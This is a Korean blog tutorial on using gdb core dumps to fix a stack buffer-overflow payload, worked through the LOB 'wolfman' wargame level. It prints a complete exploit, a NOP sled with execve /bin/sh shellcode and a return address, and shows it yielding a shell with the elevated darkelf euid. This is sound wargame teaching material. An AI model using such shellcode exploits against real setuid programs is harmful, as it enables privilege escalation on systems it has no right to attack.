[linux] gdb에서 core사용하기
두비니
·2020. 7. 17. 22:24
GDB에서 core 사용하기
gdb로 분석을 하다보면, 내가 맞다고 생각했던 payload가 답이 아닐 때가 있습니다.
특히 Segmentation Fault같은 에러가 발생하면 뒷목잡기를 유발하죠.
이는 파일이 직접 실행되면서 실제 동적 프로세서 주소와 차이가 있기 때문입니다.
이럴 때 사용할 수 있는 core파일 이라는 게 있습니다.
간단히 설명하자면, 어떤 프로그램이 각종 crash를 발생하면서 프로그램을 종료했을 때,
종료하기 전 상황을 core라는 파일로 남깁니다.
그럼 이 core파일 기준으로 분석을 해준다면, 이는 동적 프로세서가 직접 할당한 주소이기 때문에, 오차가 발생할 일이 없다는 것이죠.
우선
문제 예시는 LOB wolfman입니다.
우선 파일을 복사해줍니다. 복사를 해주는 이유는 자신의 권한이 있어야만 core파일이 생성되는것 같더라구요.
[wolfman@localhost wolfman]$ cp darkelf larkelf
[wolfman@localhost wolfman]$ ./larkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xbf\xbf\xbf\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒
Segmentation fault (core dumped)
그럼 이제 core를 분석해봅시다.
core파일을 분석하는 명령어는 gdb -q -c core입니다.
[wolfman@localhost wolfman]$ ls
wolfman lolfman core
[wolfman@localhost wolfman]$ gdb -q -c core
Core was generated by `./larkelf ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒'.
Program terminated with signal 11, Segmentation fault.
#0 0xbfbfbfbf in ?? ()
(gdb) x/100x $esp
0xbffffaf0: 0x00000000 0xbffffb34 0xbffffb40 0x40013868
0xbffffb00: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffb10: 0x08048500 0x00000002 0xbffffb34 0x08048390
0xbffffb20: 0x0804864c 0x4000ae60 0xbffffb2c 0x40013e90
0xbffffb30: 0x00000002 0xbffffc34 0xbffffc3e 0x00000000
0xbffffb40: 0xbffffc6f 0xbffffc81 0xbffffc9a 0xbffffcb9
0xbffffb50: 0xbffffcdb 0xbffffce8 0xbffffeab 0xbffffeca
0xbffffb60: 0xbffffee7 0xbffffefc 0xbfffff1b 0xbfffff26
0xbffffb70: 0xbfffff36 0xbfffff3e 0xbfffff48 0xbfffff58
0xbffffb80: 0xbfffff66 0xbfffff74 0xbfffff85 0xbfffff90
0xbffffb90: 0xbfffffa3 0xbfffffe6 0x00000000 0x00000003
0xbffffba0: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffffbb0: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffffbc0: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffffbd0: 0x08048450 0x0000000b 0x000001f9 0x0000000c
0xbffffbe0: 0x000001f9 0x0000000d 0x000001f9 0x0000000e
0xbffffbf0: 0x000001f9 0x00000010 0x0fabfbff 0x0000000f
0xbffffc00: 0xbffffc2f 0x00000000 0x00000000 0x00000000
0xbffffc10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc20: 0x00000000 0x00000000 0x00000000 0x69000000
0xbffffc30: 0x00363836 0x616c2f2e 0x6c656b72 0x90900066
0xbffffc40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc50: 0x50c03190 0x732f2f68 0x622f6868 0xe3896e69
---Type <return> to continue, or q <return> to quit---
0xbffffc60: 0xe1895350 0x0bb0c289 0xbfbf80cd 0x0000bfbf
0xbffffc70: 0x00000000 0x00000000 0x00000000 0x00000000
그럼 그상태에서 평소같이 분석을 해주면 됩니다.
여기서는 결국 0xbffffc40을 리턴주소로 잡았네요.
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x40\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀@▒▒▒
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
우왕 문제풀렸다
암튼 이렇게 사용하시면 됩니다.
혹시라도 core가 생성이 안된다면?
LOB 풀이를 보고싶다면?
https://dokhakdubini.tistory.com/category/War%20Games/%ED%95%B4%EC%BB%A4%EC%8A%A4%EC%BF%A8%20LOB
'Coding_Algorithm > Operating System' 카테고리의 다른 글
[linux] 1. ASLR(Adress Space Layout Randomization)에 대하여 (0) | 2020.10.11 |
---|---|
[linux] 0. 메모리 보호기법 - abstract (0) | 2020.10.11 |
bits.c code (비공개) (0) | 2020.10.07 |
[linux] scp로 서버 파일 가져오기 (1) | 2020.10.03 |
[linux] 디버깅할때 자주 쓰이는 명령어들 (0) | 2019.05.24 |